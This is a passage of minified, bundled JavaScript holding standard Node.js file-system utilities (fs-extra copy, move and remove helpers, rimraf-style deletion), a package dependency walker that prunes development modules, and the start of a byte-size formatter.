Y(z);let{srcStat:H,destStat:J}=w;HBA.checkParentPaths(A,H,K,"copy",(O)=>{if(O)return Y(O);if(q.filter)return AX7(t07,J,A,K,q,Y);return t07(J,A,K,q,Y)})})}function t07(A,K,q,Y,z){let w=wBA.dirname(q);TVY(w,(H,J)=>{if(H)return z(H);if(J)return CX1(A,K,q,Y,z);NVY(w,(O)=>{if(O)return z(O);return CX1(A,K,q,Y,z)})})}function AX7(A,K,q,Y,z,w){Promise.resolve(z.filter(q,Y)).then((H)=>{if(H)return A(K,q,Y,z,w);return w()},(H)=>w(H))}function kVY(A,K,q,Y,z){if(Y.filter)return AX7(CX1,A,K,q,Y,z);return CX1(A,K,q,Y,z)}function CX1(A,K,q,Y,z){(Y.dereference?jf.stat:jf.lstat)(K,(H,J)=>{if(H)return z(H);if(J.isDirectory())return hVY(J,A,K,q,Y,z);else if(J.isFile()||J.isCharacterDevice()||J.isBlockDevice())return CVY(J,A,K,q,Y,z);else if(J.isSymbolicLink())return uVY(A,K,q,Y,z);else if(J.isSocket())return z(Error(`Cannot copy a socket file: ${K}`));else if(J.isFIFO())return z(Error(`Cannot copy a FIFO pipe: ${K}`));return z(Error(`Unknown file: ${K}`))})}function CVY(A,K,q,Y,z,w){if(!K)return KX7(A,q,Y,z,w);return LVY(A,q,Y,z,w)}function LVY(A,K,q,Y,z){if(Y.overwrite)jf.unlink(q,(w)=>{if(w)return z(w);return KX7(A,K,q,Y,z)});else if(Y.errorOnExist)return z(Error(`'${q}' already exists`));else return z()}function KX7(A,K,q,Y,z){jf.copyFile(K,q,(w)=>{if(w)return z(w);if(Y.preserveTimestamps)return RVY(A.mode,K,q,z);return LX1(q,A.mode,z)})}function RVY(A,K,q,Y){if(yVY(A))return IVY(q,A,(z)=>{if(z)return Y(z);return e07(A,K,q,Y)});return e07(A,K,q,Y)}function yVY(A){return(A&128)===0}function IVY(A,K,q){return LX1(A,K|128,q)}function e07(A,K,q,Y){SVY(K,q,(z)=>{if(z)return Y(z);return LX1(q,A,Y)})}function LX1(A,K,q){return jf.chmod(A,K,q)}function SVY(A,K,q){jf.stat(A,(Y,z)=>{if(Y)return q(Y);return vVY(K,z.atime,z.mtime,q)})}function hVY(A,K,q,Y,z,w){if(!K)return bVY(A.mode,q,Y,z,w);return qX7(q,Y,z,w)}function bVY(A,K,q,Y,z){jf.mkdir(q,(w)=>{if(w)return z(w);qX7(K,q,Y,(H)=>{if(H)return z(H);return LX1(q,A,z)})})}function qX7(A,K,q,Y){jf.readdir(A,(z,w)=>{if(z)return Y(z);return YX7(w,A,K,q,Y)})}function YX7(A,K,q,Y,z){let w=A.pop();if(!w)return z();return xVY(A,w,K,q,Y,z)}function xVY(A,K,q,Y,z,w){let H=wBA.join(q,K),J=wBA.join(Y,K);HBA.checkPaths(H,J,"copy",z,(O,X)=>{if(O)return w(O);let{destStat:$}=X;kVY($,H,J,z,(_)=>{if(_)return w(_);return YX7(A,q,Y,z,w)})})}function uVY(A,K,q,Y,z){jf.readlink(K,(w,H)=>{if(w)return z(w);if(Y.dereference)H=wBA.resolve(process.cwd(),H);if(!A)return jf.symlink(H,q,z);else jf.readlink(q,(J,O)=>{if(J){if(J.code==="EINVAL"||J.code==="UNKNOWN")return jf.symlink(H,q,z);return z(J)}if(Y.dereference)O=wBA.resolve(process.cwd(),O);if(HBA.isSrcSubdir(H,O))return z(Error(`Cannot copy '${H}' to a subdirectory of itself, '${O}'.`));if(A.isDirectory()&&HBA.isSrcSubdir(O,H))return z(Error(`Cannot overwrite '${O}' with '${H}'.`));return BVY(H,q,z)})})}function BVY(A,K,q){jf.unlink(K,(Y)=>{if(Y)return q(Y);return jf.symlink(A,K,q)})}zX7.exports=EVY});var $X7=v((y8H,XX7)=>{var lD=I2(),JBA=CA("path"),mVY=SI().mkdirsSync,gVY=VD6().utimesMillisSync,OBA=NqA();function FVY(A,K,q){if(typeof q==="function")q={filter:q};if(q=q||{},q.clobber="clobber"in q?!!q.clobber:!0,q.overwrite="overwrite"in q?!!q.overwrite:q.clobber,q.preserveTimestamps&&process.arch==="ia32")process.emitWarning(`Using the preserveTimestamps option in 32-bit node is not recommended; see https://github.com/jprichardson/node-fs-extra/issues/269`,"Warning","fs-extra-WARN0002");let{srcStat:Y,destStat:z}=OBA.checkPathsSync(A,K,"copy",q);return OBA.checkParentPathsSync(A,Y,K,"copy"),QVY(z,A,K,q)}function QVY(A,K,q,Y){if(Y.filter&&!Y.filter(K,q))return;let z=JBA.dirname(q);if(!lD.existsSync(z))mVY(z);return HX7(A,K,q,Y)}function UVY(A,K,q,Y){if(Y.filter&&!Y.filter(K,q))return;return HX7(A,K,q,Y)}function HX7(A,K,q,Y){let w=(Y.dereference?lD.statSync:lD.lstatSync)(K);if(w.isDirectory())return rVY(w,A,K,q,Y);else if(w.isFile()||w.isCharacterDevice()||w.isBlockDevice())return pVY(w,A,K,q,Y);else if(w.isSymbolicLink())return sVY(A,K,q,Y);else if(w.isSocket())throw Error(`Cannot copy a socket file: ${K}`);else if(w.isFIFO())throw Error(`Cannot copy a FIFO pipe: ${K}`);throw Error(`Unknown file: ${K}`)}function pVY(A,K,q,Y,z){if(!K)return JX7(A,q,Y,z);return dVY(A,q,Y,z)}function dVY(A,K,q,Y){if(Y.overwrite)return lD.unlinkSync(q),JX7(A,K,q,Y);else if(Y.errorOnExist)throw Error(`'${q}' already exists`)}function JX7(A,K,q,Y){if(lD.copyFileSync(K,q),Y.preserveTimestamps)cVY(A.mode,K,q);return ND6(q,A.mode)}function cVY(A,K,q){if(lVY(A))iVY(q,A);return nVY(K,q)}function lVY(A){return(A&128)===0}function iVY(A,K){return ND6(A,K|128)}function ND6(A,K){return lD.chmodSync(A,K)}function nVY(A,K){let q=lD.statSync(A);return gVY(K,q.atime,q.mtime)}function rVY(A,K,q,Y,z){if(!K)return oVY(A.mode,q,Y,z);return OX7(q,Y,z)}function oVY(A,K,q,Y){return lD.mkdirSync(q),OX7(K,q,Y),ND6(q,A)}function OX7(A,K,q){lD.readdirSync(A).forEach((Y)=>aVY(Y,A,K,q))}function aVY(A,K,q,Y){let z=JBA.join(K,A),w=JBA.join(q,A),{destStat:H}=OBA.checkPathsSync(z,w,"copy",Y);return UVY(H,z,w,Y)}function sVY(A,K,q,Y){let z=lD.readlinkSync(K);if(Y.dereference)z=JBA.resolve(process.cwd(),z);if(!A)return lD.symlinkSync(z,q);else{let w;try{w=lD.readlinkSync(q)}catch(H){if(H.code==="EINVAL"||H.code==="UNKNOWN")return lD.symlinkSync(z,q);throw H}if(Y.dereference)w=JBA.resolve(process.cwd(),w);if(OBA.isSrcSubdir(z,w))throw Error(`Cannot copy '${z}' to a subdirectory of itself, '${w}'.`);if(lD.statSync(q).isDirectory()&&OBA.isSrcSubdir(w,z))throw Error(`Cannot overwrite '${w}' with '${z}'.`);return tVY(z,q)}}function tVY(A,K){return lD.unlinkSync(K),lD.symlinkSync(A,K)}XX7.exports=FVY});var RX1=v((I8H,_X7)=>{var eVY=HH().fromCallback;_X7.exports={copy:eVY(wX7()),copySync:$X7()}});var fX7=v((S8H,VX7)=>{var GX7=I2(),jX7=CA("path"),Tw=CA("assert"),XBA=process.platform==="win32";function MX7(A){["unlink","chmod","stat","lstat","rmdir","readdir"].forEach((q)=>{A[q]=A[q]||GX7[q],q=q+"Sync",A[q]=A[q]||GX7[q]}),A.maxBusyTries=A.maxBusyTries||3}function TD6(A,K,q){let Y=0;if(typeof K==="function")q=K,K={};Tw(A,"rimraf: missing path"),Tw.strictEqual(typeof A,"string","rimraf: path should be a string"),Tw.strictEqual(typeof q,"function","rimraf: callback function required"),Tw(K,"rimraf: invalid options argument provided"),Tw.strictEqual(typeof K,"object","rimraf: options should be object"),MX7(K),ZX7(A,K,function z(w){if(w){if((w.code==="EBUSY"||w.code==="ENOTEMPTY"||w.code==="EPERM")&&Y<K.maxBusyTries){Y++;let H=Y*100;return setTimeout(()=>ZX7(A,K,z),H)}if(w.code==="ENOENT")w=null}q(w)})}function ZX7(A,K,q){Tw(A),Tw(K),Tw(typeof q==="function"),K.lstat(A,(Y,z)=>{if(Y&&Y.code==="ENOENT")return q(null);if(Y&&Y.code==="EPERM"&&XBA)return WX7(A,K,Y,q);if(z&&z.isDirectory())return yX1(A,K,Y,q);K.unlink(A,(w)=>{if(w){if(w.code==="ENOENT")return q(null);if(w.code==="EPERM")return XBA?WX7(A,K,w,q):yX1(A,K,w,q);if(w.code==="EISDIR")return yX1(A,K,w,q)}return q(w)})})}function WX7(A,K,q,Y){Tw(A),Tw(K),Tw(typeof Y==="function"),K.chmod(A,438,(z)=>{if(z)Y(z.code==="ENOENT"?null:q);else K.stat(A,(w,H)=>{if(w)Y(w.code==="ENOENT"?null:q);else if(H.isDirectory())yX1(A,K,q,Y);else K.unlink(A,Y)})})}function DX7(A,K,q){let Y;Tw(A),Tw(K);try{K.chmodSync(A,438)}catch(z){if(z.code==="ENOENT")return;else throw q}try{Y=K.statSync(A)}catch(z){if(z.code==="ENOENT")return;else throw q}if(Y.isDirectory())IX1(A,K,q);else K.unlinkSync(A)}function yX1(A,K,q,Y){Tw(A),Tw(K),Tw(typeof Y==="function"),K.rmdir(A,(z)=>{if(z&&(z.code==="ENOTEMPTY"||z.code==="EEXIST"||z.code==="EPERM"))AfY(A,K,Y);else if(z&&z.code==="ENOTDIR")Y(q);else Y(z)})}function AfY(A,K,q){Tw(A),Tw(K),Tw(typeof q==="function"),K.readdir(A,(Y,z)=>{if(Y)return q(Y);let w=z.length,H;if(w===0)return K.rmdir(A,q);z.forEach((J)=>{TD6(jX7.join(A,J),K,(O)=>{if(H)return;if(O)return q(H=O);if(--w===0)K.rmdir(A,q)})})})}function PX7(A,K){let q;K=K||{},MX7(K),Tw(A,"rimraf: missing path"),Tw.strictEqual(typeof A,"string","rimraf: path should be a string"),Tw(K,"rimraf: missing options"),Tw.strictEqual(typeof K,"object","rimraf: options should be object");try{q=K.lstatSync(A)}catch(Y){if(Y.code==="ENOENT")return;if(Y.code==="EPERM"&&XBA)DX7(A,K,Y)}try{if(q&&q.isDirectory())IX1(A,K,null);else K.unlinkSync(A)}catch(Y){if(Y.code==="ENOENT")return;else if(Y.code==="EPERM")return XBA?DX7(A,K,Y):IX1(A,K,Y);else if(Y.code!=="EISDIR")throw Y;IX1(A,K,Y)}}function IX1(A,K,q){Tw(A),Tw(K);try{K.rmdirSync(A)}catch(Y){if(Y.code==="ENOTDIR")throw q;else if(Y.code==="ENOTEMPTY"||Y.code==="EEXIST"||Y.code==="EPERM")KfY(A,K);else if(Y.code!=="ENOENT")throw Y}}function KfY(A,K){if(Tw(A),Tw(K),K.readdirSync(A).forEach((q)=>PX7(jX7.join(A,q),K)),XBA){let q=Date.now();do try{return K.rmdirSync(A,K)}catch{}while(Date.now()-q<500)}else return K.rmdirSync(A,K)}VX7.exports=TD6;TD6.sync=PX7});var $BA=v((h8H,TX7)=>{var SX1=I2(),qfY=HH().fromCallback,NX7=fX7();function YfY(A,K){if(SX1.rm)return SX1.rm(A,{recursive:!0,force:!0},K);NX7(A,K)}function zfY(A){if(SX1.rmSync)return SX1.rmSync(A,{recursive:!0,force:!0});NX7.sync(A)}TX7.exports={remove:qfY(YfY),removeSync:zfY}});var IX7=v((b8H,yX7)=>{var wfY=HH().fromPromise,kX7=fqA(),CX7=CA("path"),LX7=SI(),RX7=$BA(),vX7=wfY(async function(K){let q;try{q=await kX7.readdir(K)}catch{return LX7.mkdirs(K)}return Promise.all(q.map((Y)=>RX7.remove(CX7.join(K,Y))))});function EX7(A){let K;try{K=kX7.readdirSync(A)}catch{return LX7.mkdirsSync(A)}K.forEach((q)=>{q=CX7.join(A,q),RX7.removeSync(q)})}yX7.exports={emptyDirSync:EX7,emptydirSync:EX7,emptyDir:vX7,emptydir:vX7}});var xX7=v((x8H,bX7)=>{var HfY=HH().fromCallback,SX7=CA("path"),Ea=I2(),hX7=SI();function JfY(A,K){function q(){Ea.writeFile(A,"",(Y)=>{if(Y)return K(Y);K()})}Ea.stat(A,(Y,z)=>{if(!Y&&z.isFile())return K();let w=SX7.dirname(A);Ea.stat(w,(H,J)=>{if(H){if(H.code==="ENOENT")return hX7.mkdirs(w,(O)=>{if(O)return K(O);q()});return K(H)}if(J.isDirectory())q();else Ea.readdir(w,(O)=>{if(O)return K(O)})})})}function OfY(A){let K;try{K=Ea.statSync(A)}catch{}if(K&&K.isFile())return;let q=SX7.dirname(A);try{if(!Ea.statSync(q).isDirectory())Ea.readdirSync(q)}catch(Y){if(Y&&Y.code==="ENOENT")hX7.mkdirsSync(q);else throw Y}Ea.writeFileSync(A,"")}bX7.exports={createFile:HfY(JfY),createFileSync:OfY}});var FX7=v((u8H,gX7)=>{var XfY=HH().fromCallback,uX7=CA("path"),ka=I2(),BX7=SI(),$fY=va().pathExists,{areIdentical:mX7}=NqA();function _fY(A,K,q){function Y(z,w){ka.link(z,w,(H)=>{if(H)return q(H);q(null)})}ka.lstat(K,(z,w)=>{ka.lstat(A,(H,J)=>{if(H)return H.message=H.message.replace("lstat","ensureLink"),q(H);if(w&&mX7(J,w))return q(null);let O=uX7.dirname(K);$fY(O,(X,$)=>{if(X)return q(X);if($)return Y(A,K);BX7.mkdirs(O,(_)=>{if(_)return q(_);Y(A,K)})})})})}function GfY(A,K){let q;try{q=ka.lstatSync(K)}catch{}try{let w=ka.lstatSync(A);if(q&&mX7(w,q))return}catch(w){throw w.message=w.message.replace("lstat","ensureLink"),w}let Y=uX7.dirname(K);if(ka.existsSync(Y))return ka.linkSync(A,K);return BX7.mkdirsSync(Y),ka.linkSync(A,K)}gX7.exports={createLink:XfY(_fY),createLinkSync:GfY}});var UX7=v((B8H,QX7)=>{var Ca=CA("path"),_BA=I2(),ZfY=va().pathExists;function WfY(A,K,q){if(Ca.isAbsolute(A))return _BA.lstat(A,(Y)=>{if(Y)return Y.message=Y.message.replace("lstat","ensureSymlink"),q(Y);return q(null,{toCwd:A,toDst:A})});else{let Y=Ca.dirname(K),z=Ca.join(Y,A);return ZfY(z,(w,H)=>{if(w)return q(w);if(H)return q(null,{toCwd:z,toDst:A});else return _BA.lstat(A,(J)=>{if(J)return J.message=J.message.replace("lstat","ensureSymlink"),q(J);return q(null,{toCwd:A,toDst:Ca.relative(Y,A)})})})}}function DfY(A,K){let q;if(Ca.isAbsolute(A)){if(q=_BA.existsSync(A),!q)throw Error("absolute srcpath does not exist");return{toCwd:A,toDst:A}}else{let Y=Ca.dirname(K),z=Ca.join(Y,A);if(q=_BA.existsSync(z),q)return{toCwd:z,toDst:A};else{if(q=_BA.existsSync(A),!q)throw Error("relative srcpath does not exist");return{toCwd:A,toDst:Ca.relative(Y,A)}}}}QX7.exports={symlinkPaths:WfY,symlinkPathsSync:DfY}});var cX7=v((m8H,dX7)=>{var pX7=I2();function jfY(A,K,q){if(q=typeof K==="function"?K:q,K=typeof K==="function"?!1:K,K)return q(null,K);pX7.lstat(A,(Y,z)=>{if(Y)return q(null,"file");K=z&&z.isDirectory()?"dir":"file",q(null,K)})}function MfY(A,K){let q;if(K)return K;try{q=pX7.lstatSync(A)}catch{return"file"}return q&&q.isDirectory()?"dir":"file"}dX7.exports={symlinkType:jfY,symlinkTypeSync:MfY}});var tX7=v((g8H,sX7)=>{var PfY=HH().fromCallback,iX7=CA("path"),hI=fqA(),nX7=SI(),VfY=nX7.mkdirs,ffY=nX7.mkdirsSync,rX7=UX7(),NfY=rX7.symlinkPaths,TfY=rX7.symlinkPathsSync,oX7=cX7(),vfY=oX7.symlinkType,EfY=oX7.symlinkTypeSync,kfY=va().pathExists,{areIdentical:aX7}=NqA();function CfY(A,K,q,Y){Y=typeof q==="function"?q:Y,q=typeof q==="function"?!1:q,hI.lstat(K,(z,w)=>{if(!z&&w.isSymbolicLink())Promise.all([hI.stat(A),hI.stat(K)]).then(([H,J])=>{if(aX7(H,J))return Y(null);lX7(A,K,q,Y)});else lX7(A,K,q,Y)})}function lX7(A,K,q,Y){NfY(A,K,(z,w)=>{if(z)return Y(z);A=w.toDst,vfY(w.toCwd,q,(H,J)=>{if(H)return Y(H);let O=iX7.dirname(K);kfY(O,(X,$)=>{if(X)return Y(X);if($)return hI.symlink(A,K,J,Y);VfY(O,(_)=>{if(_)return Y(_);hI.symlink(A,K,J,Y)})})})})}function LfY(A,K,q){let Y;try{Y=hI.lstatSync(K)}catch{}if(Y&&Y.isSymbolicLink()){let J=hI.statSync(A),O=hI.statSync(K);if(aX7(J,O))return}let z=TfY(A,K);A=z.toDst,q=EfY(z.toCwd,q);let w=iX7.dirname(K);if(hI.existsSync(w))return hI.symlinkSync(A,K,q);return ffY(w),hI.symlinkSync(A,K,q)}sX7.exports={createSymlink:PfY(CfY),createSymlinkSync:LfY}});var H$7=v((F8H,w$7)=>{var{createFile:eX7,createFileSync:A$7}=xX7(),{createLink:K$7,createLinkSync:q$7}=FX7(),{createSymlink:Y$7,createSymlinkSync:z$7}=tX7();w$7.exports={createFile:eX7,createFileSync:A$7,ensureFile:eX7,ensureFileSync:A$7,createLink:K$7,createLinkSync:q$7,ensureLink:K$7,ensureLinkSync:q$7,createSymlink:Y$7,createSymlinkSync:z$7,ensureSymlink:Y$7,ensureSymlinkSync:z$7}});var O$7=v((Q8H,J$7)=>{var hX1=$D6();J$7.exports={readJson:hX1.readFile,readJsonSync:hX1.readFileSync,writeJson:hX1.writeFile,writeJsonSync:hX1.writeFileSync}});var bX1=v((U8H,_$7)=>{var RfY=HH().fromCallback,GBA=I2(),X$7=CA("path"),$$7=SI(),yfY=va().pathExists;function IfY(A,K,q,Y){if(typeof q==="function")Y=q,q="utf8";let z=X$7.dirname(A);yfY(z,(w,H)=>{if(w)return Y(w);if(H)return GBA.writeFile(A,K,q,Y);$$7.mkdirs(z,(J)=>{if(J)return Y(J);GBA.writeFile(A,K,q,Y)})})}function SfY(A,...K){let q=X$7.dirname(A);if(GBA.existsSync(q))return GBA.writeFileSync(A,...K);$$7.mkdirsSync(q),GBA.writeFileSync(A,...K)}_$7.exports={outputFile:RfY(IfY),outputFileSync:SfY}});var Z$7=v((p8H,G$7)=>{var{stringify:hfY}=fZA(),{outputFile:bfY}=bX1();async function xfY(A,K,q={}){let Y=hfY(K,q);await bfY(A,Y,q)}G$7.exports=xfY});var D$7=v((d8H,W$7)=>{var{stringify:ufY}=fZA(),{outputFileSync:BfY}=bX1();function mfY(A,K,q){let Y=ufY(K,q);BfY(A,Y,q)}W$7.exports=mfY});var M$7=v((c8H,j$7)=>{var gfY=HH().fromPromise,UM=O$7();UM.outputJson=gfY(Z$7());UM.outputJsonSync=D$7();UM.outputJSON=UM.outputJson;UM.outputJSONSync=UM.outputJsonSync;UM.writeJSON=UM.writeJson;UM.writeJSONSync=UM.writeJsonSync;UM.readJSON=UM.readJson;UM.readJSONSync=UM.readJsonSync;j$7.exports=UM});var T$7=v((l8H,N$7)=>{var FfY=I2(),ED6=CA("path"),QfY=RX1().copy,f$7=$BA().remove,UfY=SI().mkdirp,pfY=va().pathExists,P$7=NqA();function dfY(A,K,q,Y){if(typeof q==="function")Y=q,q={};q=q||{};let z=q.overwrite||q.clobber||!1;P$7.checkPaths(A,K,"move",q,(w,H)=>{if(w)return Y(w);let{srcStat:J,isChangingCase:O=!1}=H;P$7.checkParentPaths(A,J,K,"move",(X)=>{if(X)return Y(X);if(cfY(K))return V$7(A,K,z,O,Y);UfY(ED6.dirname(K),($)=>{if($)return Y($);return V$7(A,K,z,O,Y)})})})}function cfY(A){let K=ED6.dirname(A);return ED6.parse(K).root===K}function V$7(A,K,q,Y,z){if(Y)return vD6(A,K,q,z);if(q)return f$7(K,(w)=>{if(w)return z(w);return vD6(A,K,q,z)});pfY(K,(w,H)=>{if(w)return z(w);if(H)return z(Error("dest already exists."));return vD6(A,K,q,z)})}function vD6(A,K,q,Y){FfY.rename(A,K,(z)=>{if(!z)return Y();if(z.code!=="EXDEV")return Y(z);return lfY(A,K,q,Y)})}function lfY(A,K,q,Y){QfY(A,K,{overwrite:q,errorOnExist:!0},(w)=>{if(w)return Y(w);return f$7(A,Y)})}N$7.exports=dfY});var L$7=v((i8H,C$7)=>{var E$7=I2(),CD6=CA("path"),ifY=RX1().copySync,k$7=$BA().removeSync,nfY=SI().mkdirpSync,v$7=NqA();function rfY(A,K,q){q=q||{};let Y=q.overwrite||q.clobber||!1,{srcStat:z,isChangingCase:w=!1}=v$7.checkPathsSync(A,K,"move",q);if(v$7.checkParentPathsSync(A,z,K,"move"),!ofY(K))nfY(CD6.dirname(K));return afY(A,K,Y,w)}function ofY(A){let K=CD6.dirname(A);return CD6.parse(K).root===K}function afY(A,K,q,Y){if(Y)return kD6(A,K,q);if(q)return k$7(K),kD6(A,K,q);if(E$7.existsSync(K))throw Error("dest already exists.");return kD6(A,K,q)}function kD6(A,K,q){try{E$7.renameSync(A,K)}catch(Y){if(Y.code!=="EXDEV")throw Y;return sfY(A,K,q)}}function sfY(A,K,q){return ifY(A,K,{overwrite:q,errorOnExist:!0}),k$7(A)}C$7.exports=rfY});var y$7=v((n8H,R$7)=>{var tfY=HH().fromCallback;R$7.exports={move:tfY(T$7()),moveSync:L$7()}});var S$7=v((r8H,I$7)=>{I$7.exports={...fqA(),...RX1(),...IX7(),...H$7(),...M$7(),...SI(),...y$7(),...bX1(),...va(),...$BA()}});var LD6=v((b$7)=>{Object.defineProperty(b$7,"__esModule",{value:!0});b$7.childDepType=b$7.depTypeGreater=b$7.DepType=void 0;var N5;(function(A){A[A.PROD=0]="PROD",A[A.DEV=1]="DEV",A[A.OPTIONAL=2]="OPTIONAL",A[A.DEV_OPTIONAL=3]="DEV_OPTIONAL",A[A.ROOT=4]="ROOT"})(N5=b$7.DepType||(b$7.DepType={}));var efY=(A,K)=>{switch(K){case N5.DEV:switch(A){case N5.OPTIONAL:case N5.PROD:case N5.ROOT:return!0;case N5.DEV:case N5.DEV_OPTIONAL:default:return!1}case N5.DEV_OPTIONAL:switch(A){case N5.OPTIONAL:case N5.PROD:case N5.ROOT:case N5.DEV:return!0;case N5.DEV_OPTIONAL:default:return!1}case N5.OPTIONAL:switch(A){case N5.PROD:case N5.ROOT:return!0;case N5.OPTIONAL:case N5.DEV:case N5.DEV_OPTIONAL:default:return!1}case N5.PROD:switch(A){case N5.ROOT:return!0;case N5.PROD:case N5.OPTIONAL:case N5.DEV:case N5.DEV_OPTIONAL:default:return!1}case N5.ROOT:switch(A){case N5.ROOT:case N5.PROD:case N5.OPTIONAL:case N5.DEV:case N5.DEV_OPTIONAL:default:return!1}default:return!1}};b$7.depTypeGreater=efY;var ANY=(A,K)=>{if(K===N5.ROOT)throw Error("Something went wrong, a child dependency can't be marked as the ROOT");switch(A){case N5.ROOT:return K;case N5.PROD:if(K===N5.OPTIONAL)return N5.OPTIONAL;return N5.PROD;case N5.OPTIONAL:return N5.OPTIONAL;case N5.DEV_OPTIONAL:return N5.DEV_OPTIONAL;case N5.DEV:if(K===N5.OPTIONAL)return N5.DEV_OPTIONAL;return N5.DEV}};b$7.childDepType=ANY});var B$7=v((u$7)=>{Object.defineProperty(u$7,"__esModule",{value:!0});u$7.NativeModuleType=void 0;var qNY;(function(A){A[A.NONE=0]="NONE",A[A.NODE_GYP=1]="NODE_GYP",A[A.PREBUILD=2]="PREBUILD"})(qNY=u$7.NativeModuleType||(u$7.NativeModuleType={}))});var Q$7=v((g$7)=>{Object.defineProperty(g$7,"__esModule",{value:!0});g$7.Walker=void 0;var YNY=V1A(),xX1=S$7(),La=CA("path"),xC=LD6(),yD6=B$7(),_p=YNY("flora-colossus");class m$7{constructor(A){if(this.modules=[],this.walkHistory=new Set,this.cache=null,!A||typeof A!=="string")throw Error("modulePath must be provided as a string");_p(`creating walker with rootModule=${A}`),this.rootModule=A}relativeModule(A,K){return La.resolve(A,"node_modules",K)}async loadPackageJSON(A){let K=La.resolve(A,"package.json");if(await xX1.pathExists(K)){let q=await xX1.readJson(K);if(!q.dependencies)q.dependencies={};if(!q.devDependencies)q.devDependencies={};if(!q.optionalDependencies)q.optionalDependencies={};return q}return null}async walkDependenciesForModuleInModule(A,K,q){let Y=K,z=null,w=null;while(!z&&this.relativeModule(Y,A)!==w)if(w=this.relativeModule(Y,A),await xX1.pathExists(w))z=w;else{if(La.basename(La.dirname(Y))!=="node_modules")Y=La.dirname(Y);Y=La.dirname(La.dirname(Y))}if(!z&&q!==xC.DepType.OPTIONAL&&q!==xC.DepType.DEV_OPTIONAL)throw Error(`Failed to locate module "${A}" from "${K}" This normally means that either you have deleted this package already somehow (check your ignore settings if using electron-packager). Or your module installation failed.`);if(z)await this.walkDependenciesForModule(z,q)}async detectNativeModuleType(A,K){if(K.dependencies["prebuild-install"])return yD6.NativeModuleType.PREBUILD;else if(await xX1.pathExists(La.join(A,"binding.gyp")))return yD6.NativeModuleType.NODE_GYP;return yD6.NativeModuleType.NONE}async walkDependenciesForModule(A,K){if(_p("walk reached:",A," Type is:",xC.DepType[K]),this.walkHistory.has(A)){_p("already walked this route");let Y=this.modules.find((z)=>z.path===A);if((0,xC.depTypeGreater)(K,Y.depType))_p(`existing module has a type of "${Y.depType}", new module type would be "${K}" therefore updating`),Y.depType=K;return}let q=await this.loadPackageJSON(A);if(!q){_p("walk hit a dead end, this module is incomplete");return}this.walkHistory.add(A),this.modules.push({depType:K,nativeModuleType:await this.detectNativeModuleType(A,q),path:A,name:q.name});for(let Y in q.dependencies){if(Y in q.optionalDependencies){_p(`found ${Y} in prod deps of ${A} but it is also marked optional`);continue}await this.walkDependenciesForModuleInModule(Y,A,(0,xC.childDepType)(K,xC.DepType.PROD))}for(let Y in q.optionalDependencies)await this.walkDependenciesForModuleInModule(Y,A,(0,xC.childDepType)(K,xC.DepType.OPTIONAL));if(K===xC.DepType.ROOT){_p("we're still at the beginning, walking down the dev route");for(let Y in q.devDependencies)await this.walkDependenciesForModuleInModule(Y,A,(0,xC.childDepType)(K,xC.DepType.DEV))}}async walkTree(){if(_p("starting tree walk"),!this.cache)this.cache=new Promise(async(A,K)=>{this.modules=[];try{await this.walkDependenciesForModule(this.rootModule,xC.DepType.ROOT)}catch(q){K(q);return}A(this.modules)});else _p("tree walk in progress / completed already, waiting for existing walk to complete");return await this.cache}getRootModule(){return this.rootModule}}g$7.Walker=m$7});var ID6=v((Ra)=>{var zNY=Ra&&Ra.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),U$7=Ra&&Ra.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))zNY(K,A,q)};Object.defineProperty(Ra,"__esModule",{value:!0});U$7(Q$7(),Ra);U$7(LD6(),Ra)});var l$7=v((d$7)=>{Object.defineProperty(d$7,"__esModule",{value:!0});d$7.DestroyerOfModules=void 0;var uX1=m07(),EZA=CA("path"),SD6=ID6();class p$7{constructor({rootDirectory:A,walker:K,shouldKeepModuleTest:q}){if(A)this.walker=new SD6.Walker(A);else if(K)this.walker=K;else throw Error("Must either provide rootDirectory or walker argument");if(q)this.shouldKeepFn=q}async destroyModule(A,K){if(K.get(A)){let Y=EZA.resolve(A,"node_modules");if(!await uX1.pathExists(Y))return;for(let z of await uX1.readdir(Y))if(z.startsWith("@"))for(let w of await uX1.readdir(EZA.resolve(Y,z)))await this.destroyModule(EZA.resolve(Y,z,w),K);else await this.destroyModule(EZA.resolve(Y,z),K)}else await uX1.remove(A)}async collectKeptModules({relativePaths:A=!1}){let K=await this.walker.walkTree(),q=new Map,Y=EZA.resolve(this.walker.getRootModule());for(let z of K)if(this.shouldKeepModule(z)){let w=z.path;if(A)w=w.replace(`${Y}${EZA.sep}`,"");q.set(w,z)}return q}async destroy(){await this.destroyModule(this.walker.getRootModule(),await this.collectKeptModules({relativePaths:!1}))}shouldKeepModule(A){let K=A.depType===SD6.DepType.DEV||A.depType===SD6.DepType.DEV_OPTIONAL;return this.shouldKeepFn?this.shouldKeepFn(A,K):!K}}d$7.DestroyerOfModules=p$7});var n$7=v((ya)=>{var wNY=ya&&ya.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),i$7=ya&&ya.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))wNY(K,A,q)};Object.defineProperty(ya,"__esModule",{value:!0});i$7(l$7(),ya);i$7(ID6(),ya)});var a$7=v((K4H,o$7)=>{var HNY=["B","kB","MB","GB","TB","PB","EB","ZB","YB"],JNY=["B","kiB","MiB","GiB","TiB","PiB","EiB","ZiB","YiB"],ONY=["b","kbit","Mbit","Gbit","Tbit","Pbit","Ebit","Zbit","Ybit"],XNY=["b","kibit","Mibit","Gibit","Tibit","Pibit","Eibit","Zibit","Yibit"],r$7=(A,K,q)=>{let Y=A;if(typeof K==="string"||Array.isArray(K))Y=A.toLocaleString(K,q);else if(K===!0||q!==void 0)Y=A.toLocaleString(void 0,q);return Y};o$7.exports=(A,K)=>{if(!Number.isFinite(A))throw TypeError(`Expected a finite number, got ${typeof A}: ${A}`);K=Object.assign({bits:!1,binary:!1},K);let q=K.bits?K.binary?XNY:ONY:K.binary?JNY:HNY;if(K.signed&&A===0)return` 0 ${q[0]}`;let 